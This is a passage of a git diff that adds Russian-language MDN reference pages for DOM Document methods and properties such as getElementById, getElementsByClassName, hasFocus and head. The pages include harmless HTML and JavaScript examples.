+  loginForm.elements.password.placeholder = 'password';
+&lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</code></pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_Also" name="See_Also">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите https://github.com/mdn/browser-compat-data и отправьте нам пул реквест.</p>
+</div>
+
+<p>{{Compat("api.Document.forms")}}</p>
+
+<h2 id="See_Also" name="See_Also">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms">HTML forms</a></li>
+ <li>{{HTMLElement("form")}} и интерфейс {{domxref("HTMLFormElement")}}</li>
+</ul>
+
+<p>{{APIRef("DOM")}}</p>
+
+<ul>
+ <li></li>
+</ul>
diff --git a/files/ru/web/api/document/getelementbyid/index.html b/files/ru/web/api/document/getelementbyid/index.html
new file mode 100644
index 0000000000..3def765a4d
--- /dev/null
+++ b/files/ru/web/api/document/getelementbyid/index.html
@@ -0,0 +1,156 @@
+---
+title: document.getElementById()
+slug: Web/API/Document/getElementById
+translation_of: Web/API/Document/getElementById
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div> </div>
+
+<p>Возвращает ссылку на элемент по его идентификатору (<a href="/en-US/docs/DOM/element.id" title="en-US/docs/DOM/element.id">ID</a>); идентификатор является строкой, которая может быть использована для идентификации элемента; она может быть определена при помощи атрибута <code>id</code> в HTML или из скрипта.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>element</em> = document.getElementById(<em>id</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><strong><code>id </code></strong></dt>
+ <dd>чувствительная к регистру строка, являющаяся уникальным идентификатором искомого элемента.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<dl>
+ <dd>
+ <p>ссылка на объект типа {{domxref("Element")}} соответствующий указанному ID или <code>null</code>, если элемент с указанным ID не найден в документе.</p>
+ </dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;getElementById example&lt;/title&gt;
+  &lt;script&gt;
+  function changeColor(newColor) {
+    var elem = document.getElementById("para1");
+    elem.style.color = newColor;
+  }
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p id="para1"&gt;Some text here&lt;/p&gt;
+  &lt;button onclick="changeColor('blue');"&gt;blue&lt;/button&gt;
+  &lt;button onclick="changeColor('red');"&gt;red&lt;/button&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Замечания</h2>
+
+<p>Начинающим следует знать, что верхний регистр в части имени метода 'Id' <em>должен </em>быть точным для корректного вызова функции; "getElementByID" будет <em>не корректно</em>, как бы естественно это ни казалось.</p>
+
+<p><code>Если элементы с указанным id отсутствуют</code>, функция вернёт null. Заметьте, что параметр id чувствителен к регистру, так <code>document.getElementById("<strong>M</strong>ain")</code> вернёт <code>null</code> вместо элемента <code>&lt;div id="<strong>m</strong>ain"&gt;</code>, потому что "M" и "m" различны для этого метода.</p>
+
+<p><strong>Элементы вне документа</strong> не ищутся <code>getElementById()</code>. При создании элемента и назначении ему ID, вам следует вставить элемент в дерево документа с помощью {{domxref("Node.insertBefore()")}} или подобным методом, до того как вы сможете получить к нему доступ при помощи <code>getElementById()</code>:</p>
+
+<pre class="brush: js">var element = document.createElement("div");
+element.id = 'testqq';
+var el = document.getElementById('testqq'); // el will be null!
+</pre>
+
+<p><strong>Не-HTML документы</strong>. Релизация DOM должна содержать информацию, сообщающую о том, какие атрибуты являются идентификаторами. Атрибуты с именем "id" не являются идентификаторами только если это не указано в описании типа документа (DTD). Атрибут "id" определён в качестве идентификатора в общих случаях <a href="/en-US/docs/XHTML" title="en-US/docs/XHTML">XHTML</a>, <a href="/en-US/docs/XUL" title="en-US/docs/XUL">XUL</a>, и других. От реализаций, которые не знают, какой атрибут является идентификатором, ожидается возврат null.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Исходное определение интерфейса</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Заменяет DOM 1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Заменяет DOM 2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-nonelementparentnode','getElementById')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Должен заменить DOM 3</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимось в браузерах</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop(1.0) }}</td>
+   <td>5.5</td>
+   <td>7.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile(1.0) }}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Document")}} ссылка для иных методов и свойств которые вы можете использовать для получения ссылок на иные элементы.</li>
+ <li>{{domxref("Document.querySelector()")}} <span class="short_text" id="result_box" lang="ru"><span>для выборки по таким запросам, как</span></span> <code>'div.myclass'</code></li>
+ <li><a href="/en-US/docs/xml/xml:id" title="en-US/docs/xml/id">xml:id</a> - <span id="result_box" lang="ru"><span>имеет метод, позволяющий getElementById() получать «xml: id» в XML-документах (например, возвращаемые вызовами Ajax)</span></span></li>
+</ul>
diff --git a/files/ru/web/api/document/getelementsbyclassname/index.html b/files/ru/web/api/document/getelementsbyclassname/index.html
new file mode 100644
index 0000000000..df6fefb2b8
--- /dev/null
+++ b/files/ru/web/api/document/getelementsbyclassname/index.html
@@ -0,0 +1,125 @@
+---
+title: Document.getElementsByClassName()
+slug: Web/API/Document/getElementsByClassName
+translation_of: Web/API/Document/getElementsByClassName
+---
+<p id="Summary">{{APIRef("DOM")}}</p>
+
+<p>Возвращает массивоподобный (итерируемый) объект всех дочерних элементов, соответствующих всем из указанных имен классов. В случае вызова по отношению к объекту 'document', поиск происходит по всему документу, включая корневой элемент. Вызывать {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} можно также применительно к любому элементу: возвращены будут лишь те элементы, которые являются потомками указанного корневого элемента и имеют при этом указанные классы.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>var elements</var> = document.getElementsByClassName(<em>names</em>); // или:
+<var>var elements</var> = rootElement.getElementsByClassName(<em>names</em>);</pre>
+
+<ul>
+ <li><var>В "elements"</var> будет текущая  {{ domxref("HTMLCollection") }} найденных елементов.</li>
+ <li><var>"names"</var> - строка, состоящая из списка имен искомых классов; имена классов разделяют пробелами.</li>
+ <li>getElementsByClassName может быть вызвана по отношению к любому элементу, не только для документа целиком. ("document"). Элемент, по отношению к которому осуществляется вызов, используется для целей поиска в качестве корневого элемента.</li>
+</ul>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>Получить все элементы класса 'test':</p>
+
+<pre class="brush: js">document.getElementsByClassName('test');</pre>
+
+<p>Получить все элементы, для которых заданы класс 'red' и класс 'test':</p>
+
+<pre class="brush: js">document.getElementsByClassName('red test');</pre>
+
+<p>Получить все элементы класса 'test', являющиеся дочерними для элемента с ID 'main':</p>
+
+<pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre>
+
+<p>Мы также можем использовать методы из Array.prototype по отношению к любой {{ domxref("HTMLCollection") }}, передавая коллекцию в качестве значения <em>this</em> метода. Код в примере найдет все элементы 'div' с классом 'test':</p>
+
+<pre class="brush: js">var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement){
+    return testElement.nodeName === 'DIV';
+});</pre>
+
+<h2 id="Получение_элементов_класса_'test'">Получение элементов класса 'test'</h2>
+
+<p>Ниже приведен пример наиболее употребительного способа использования данного метода.</p>
+
+<pre>&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="UTF-8"&gt;
+    &lt;title&gt;Document&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;div id="parent-id"&gt;
+        &lt;p&gt;hello word1&lt;/p&gt;
+        &lt;p class="test"&gt;hello word2&lt;/p&gt;
+        &lt;p &gt;hello word3&lt;/p&gt;
+        &lt;p&gt;hello word4&lt;/p&gt;
+    &lt;/div&gt;
+    &lt;script&gt;
+        var parentDOM = document.getElementById("parent-id");
+
+        var test=parentDOM.getElementsByClassName("test");//test is not target element
+        console.log(test);//HTMLCollection[1]
+
+        var testTarget=parentDOM.getElementsByClassName("test")[0];//hear , this element is target
+        console.log(testTarget);//&lt;p class="test"&gt;hello word2&lt;/p&gt;
+    &lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Уровень</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>3.0</td>
+   <td>9.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Уровень</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname" title="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname"><span class="external">W3C: getElementsByClassName</span></a></li>
+</ul>
diff --git a/files/ru/web/api/document/getelementsbyname/index.html b/files/ru/web/api/document/getelementsbyname/index.html
new file mode 100644
index 0000000000..73b8921d61
--- /dev/null
+++ b/files/ru/web/api/document/getelementsbyname/index.html
@@ -0,0 +1,90 @@
+---
+title: Document.getElementsByName()
+slug: Web/API/Document/getElementsByName
+translation_of: Web/API/Document/getElementsByName
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">Метод <strong><code>getElementsByName()</code></strong>  объекта {{domxref("Document")}} возвращает коллекцию {{domxref("NodeList")}} элементов с заданным  {{domxref("element.name","name")}}.</span></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>elements</var> = document.getElementsByName(<var>name</var>);
+</pre>
+
+<ul>
+ <li><var>elements</var> — это живая {{domxref("NodeList")}} коллекция. То есть,  она автоматически обновляется, когда элементы с таким же <code>name</code> добавляются/удаляются из документа.</li>
+ <li><var>name </var>— это значение поля  <code>name</code> элемента(элементов).</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;title&gt;Example: using document.getElementsByName&lt;/title&gt;
+
+&lt;input type="hidden" name="up"&gt;
+&lt;input type="hidden" name="down"&gt;
+
+&lt;script&gt;
+  var up_names = document.getElementsByName("up");
+  console.log(up_names[0].tagName); // displays "INPUT"
+&lt;/script&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>The {{domxref("element.name","name")}} attribute can only be applied in (X)HTML documents.</p>
+
+<p>The returned {{domxref("NodeList")}} Collection contains <em>all</em> elements with the given <code>name</code>, such as {{htmlelement("meta")}}, {{htmlelement("object")}}, and even elements which do not support the <code>name</code> attribute at all.</p>
+
+<div class="warning">
+<p>The <strong>getElementsByName</strong> method works differently in IE10 and below. There, <code>getElementsByName()</code> also returns elements that have an <a href="/en-US/docs/Web/HTML/Global_attributes/id"><code>id</code> attribute</a> with the specified value. Be careful not to use the same string as both a <code>name</code> and an <code>id</code>.</p>
+</div>
+
+<div class="warning">
+<p>The <strong>getElementsByName</strong> method works differently in IE. There, <code>getElementsByName()</code> does not return all elements which may not have a <code>name</code> attribute (such as <code>&lt;span&gt;</code>).</p>
+</div>
+
+<div class="warning">
+<p>Both IE and Edge return an {{domxref("HTMLCollection")}}, not a {{domxref("NodeList")}}</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-getelementsbyname', "Document.getElementsByName()")}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-71555259", "Document.getElementsByName()")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.getElementsByName")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("document.getElementById()")}} to return a reference to an element by its unique <code>id</code></li>
+ <li>{{domxref("document.getElementsByTagName()")}} to return references to elements with the same <a href="/en-US/docs/Web/API/Element/tagName">tag name</a></li>
+ <li>{{domxref("document.querySelector()")}} to return references to elements via CSS selectors like <code>'div.myclass'</code></li>
+</ul>
diff --git a/files/ru/web/api/document/getelementsbytagname/index.html b/files/ru/web/api/document/getelementsbytagname/index.html
new file mode 100644
index 0000000000..2829204e72
--- /dev/null
+++ b/files/ru/web/api/document/getelementsbytagname/index.html
@@ -0,0 +1,103 @@
+---
+title: Document.getElementsByTagName()
+slug: Web/API/Document/getElementsByTagName
+tags:
+  - API
+  - DOM
+  - Ссылки
+  - метод
+translation_of: Web/API/Document/getElementsByTagName
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div> </div>
+
+<p><span class="seoSummary">Возвращает {{domxref("HTMLCollection")}} элементов с указанным именем тега.</span> Поиск осуществляется по всему документу, включая корневой узел. Возвращаемая HTMLCollection живая, это значит что она автоматически обновляет сама себя чтобы оставаться синхронизированной с DOM деревом без необходимости вызова document.getElementByTagName() снова.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>elements</var> = document.getElementsByTagName(<em>name</em>);</pre>
+
+<ul>
+ <li><code>elements</code> это живая {{domxref("HTMLCollection")}} (с учетом примечания внизу) найденных документов в таком порядке в каком они появляются в дереве.</li>
+ <li><code>name</code> строка представляющая собой имя элемента. Специальная строка "*" позволяет получить все элементы.</li>
+</ul>
+
+<div class="note"><strong>Примечание:</strong> <a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html" title="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html">Последняя W3C спецификация</a> говорит что <code>elements</code> является <code>HTMLCollection</code>; между тем, данный метод возвращает {{domxref("NodeList")}} в WebKit браузерах. См. {{bug(14869)}} для большей информации.</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем примере, getElementByTagName() стартует из отдельного родительского элемента и ищет сверху-вниз рекурсивно по DOM начиная с родительского элемента просматривая  дочерние элементы на соответствие тегов параметру name.</p>
+
+<p>Отметим что когда узел в котором <code>getElementsByTagName()</code> был вызван не является узлом <code>document</code>, по факту используется метод {{domxref("element.getElementsByTagName()")}}.</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  &lt;meta charset="UTF-8" /&gt;
+  &lt;title&gt;getElementsByTagName example&lt;/title&gt;
+  &lt;script&gt;
+    function getAllParaElems() {
+      var allParas = document.getElementsByTagName("p");
+      var num = allParas.length;
+      alert("There are " + num + " paragraph in this document");
+    }
+
+    function div1ParaElems() {
+      var div1 = document.getElementById("div1");
+      var div1Paras = div1.getElementsByTagName("p");
+      var num = div1Paras.length;
+      alert("There are " + num + " paragraph in #div1");
+    }
+
+    function div2ParaElems() {
+      var div2 = document.getElementById("div2");
+      var div2Paras = div2.getElementsByTagName("p");
+      var num = div2Paras.length;
+      alert("There are " + num + " paragraph in #div2");
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body style="border: solid green 3px"&gt;
+  &lt;p&gt;Some outer text&lt;/p&gt;
+  &lt;p&gt;Some outer text&lt;/p&gt;
+
+  &lt;div id="div1" style="border: solid blue 3px"&gt;
+    &lt;p&gt;Some div1 text&lt;/p&gt;
+    &lt;p&gt;Some div1 text&lt;/p&gt;
+    &lt;p&gt;Some div1 text&lt;/p&gt;
+
+    &lt;div id="div2" style="border: solid red 3px"&gt;
+      &lt;p&gt;Some div2 text&lt;/p&gt;
+      &lt;p&gt;Some div2 text&lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+
+  &lt;p&gt;Some outer text&lt;/p&gt;
+  &lt;p&gt;Some outer text&lt;/p&gt;
+
+  &lt;button onclick="getAllParaElems();"&gt;
+    show all p elements in document&lt;/button&gt;&lt;br /&gt;
+
+  &lt;button onclick="div1ParaElems();"&gt;
+    show all p elements in div1 element&lt;/button&gt;&lt;br /&gt;
+
+  &lt;button onclick="div2ParaElems();"&gt;
+    show all p elements in div2 element&lt;/button&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Когда вызывается на HTML document, <code>getElementsByTagName()</code> переводит в нижний регистр свой аргумент перед работой. Это может быть неожиданным при попытке найти соответствие для camelCase SVG элементов в поддереве HTML документа. В таком случае может быть полезен {{Domxref("document.getElementsByTagNameNS()")}}. См. также {{Bug(499656)}}.</p>
+
+<p><code>document.getElementsByTagName()</code> подобен {{domxref("element.getElementsByTagName()")}}, за исключением того что поиск охватывает весь документ.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C9094">DOM Level 2 Core: Document.getElementsByTagName</a></li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
diff --git a/files/ru/web/api/document/getselection/index.html b/files/ru/web/api/document/getselection/index.html
new file mode 100644
index 0000000000..e5ce193c90
--- /dev/null
+++ b/files/ru/web/api/document/getselection/index.html
@@ -0,0 +1,8 @@
+---
+title: Document.getSelection()
+slug: Web/API/Document/getSelection
+translation_of: Web/API/DocumentOrShadowRoot/getSelection
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Этот метод работает в точности так же, как {{domxref("Window.getSelection()")}}; он возвращает объект {{domxref("Selection")}}, в котором содержатся данные о тексте, выделенном в документе на данный момент.</p>
diff --git a/files/ru/web/api/document/hasfocus/index.html b/files/ru/web/api/document/hasfocus/index.html
new file mode 100644
index 0000000000..e0a3a5114b
--- /dev/null
+++ b/files/ru/web/api/document/hasfocus/index.html
@@ -0,0 +1,146 @@
+---
+title: Document.hasFocus()
+slug: Web/API/Document/hasFocus
+tags:
+  - API
+  - DOM
+  - Фокус
+  - метод
+translation_of: Web/API/Document/hasFocus
+---
+<div>{{APIRef}}</div>
+
+<div>Метод <code><strong>Document.hasFocus()</strong></code> возвращает значение {{jsxref("Boolean")}}, <span id="result_box" lang="ru"><span>указывающее имеет</span> <span>ли документ</span> <span>или</span> <span>любой элемент</span> <span>внутри документа</span> <span>фокус.</span> <span>Этот</span> <span>метод может быть использован</span><span>, чтобы</span> <span>определить,</span> <span>имеет</span> <span>ли</span> <span>активный элемент</span> <span>в документе </span><span>фокус.</span></span></div>
+
+<div class="note">
+<p>При просмотре документа элемент с фокусом всегда является активным элементом документа, но активный элемент не обязательно должен иметь фокус. Например, активный элемент внутри всплывающего окна, которое находится не на переднем плане, не имеет фокус.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">focused = document.hasFocus();</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code>false</code> если активный элемент в документе не имеет фокуса; <code>true</code> если активный элемент в документе имеет фокус.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:html;highlight:[17]">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;TEST&lt;/title&gt;
+&lt;style&gt;
+#message { font-weight: bold; }
+&lt;/style&gt;
+&lt;script&gt;
+setInterval( checkPageFocus, 200 );
+
+function checkPageFocus() {
+  var info = document.getElementById("message");
+
+  if ( document.hasFocus() ) {
+    info.innerHTML = "Документ имеет фокус.";
+  } else {
+    info.innerHTML = "Документ не имеет фокус.";
+  }
+}
+
+function openWindow() {
+  window.open (
+    "http://developer.mozilla.org/",
+    "mozdev",
+    "width=640,
+    height=300,
+    left=150,
+    top=260"
+  );
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1&gt;JavaScript hasFocus пример&lt;/h1&gt;
+  &lt;div id="message"&gt;<span class="short_text" id="result_box" lang="ru"><span>Ожидание</span> <span>действий со стороны пользователя</span></span>&lt;/div&gt;
+  &lt;div&gt;&lt;button onclick="openWindow()"&gt;Открыть новое окно&lt;/button&gt;&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interaction.html#dom-document-hasfocus', 'Document.hasFocus()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>30</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("1.9") }}</td>
+   <td>6.0</td>
+   <td>12.10</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("1.9") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/User_experience/Using_the_Page_Visibility_API">Using the Page Visibility API</a></li>
+</ul>
diff --git a/files/ru/web/api/document/head/index.html b/files/ru/web/api/document/head/index.html
new file mode 100644
index 0000000000..8645de05b4
--- /dev/null
+++ b/files/ru/web/api/document/head/index.html
@@ -0,0 +1,87 @@
+---
+title: Document.head
+slug: Web/API/Document/head
+tags:
+  - API
+  - Document
+  - Property
+translation_of: Web/API/Document/head
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Возвращает элемент {{HTMLElement("head")}} текущего документа. Если имеется более одного элемента <code>&lt;head&gt;</code>, будет возвращен первый из них.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>var objRef</em> = document.head;
+</pre>
+
+
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("HTMLHeadElement")}}.</p>
+
+
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="notranslate"><code>&lt;!doctype html&gt;
+&lt;head id="my-document-head"&gt;
+  &lt;title&gt;Example: using document.head&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;script&gt;
+  var theHead = document.head;
+
+  console.log(theHead.id); // "my-document-head";
+
+  console.log( theHead === document.querySelector("head") ); // true
+&lt;/script&gt;</code></pre>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p><code>document.head</code> доступно только для чтения. Присвоить значение этому свойству нельзя. При попытке это сделать ошибка вызвана не будет, только если вы не используете <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict Mode</a>. В данном случае будет вызвано {{jsxref("TypeError")}} .</p>
+
+
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.head")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("document.body")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/height/index.html b/files/ru/web/api/document/height/index.html
new file mode 100644
index 0000000000..f3735ba2f8
--- /dev/null
+++ b/files/ru/web/api/document/height/index.html
@@ -0,0 +1,55 @@
+---
+title: Document.height
+slug: Web/API/Document/height
+tags:
+  - Document
+  - HTML
+  - Obsolete
+  - Property
+translation_of: Web/API/Document/height
+---
+<div>{{APIRef("DOM")}} {{Obsolete_header}}</div>
+
+<div class="note">
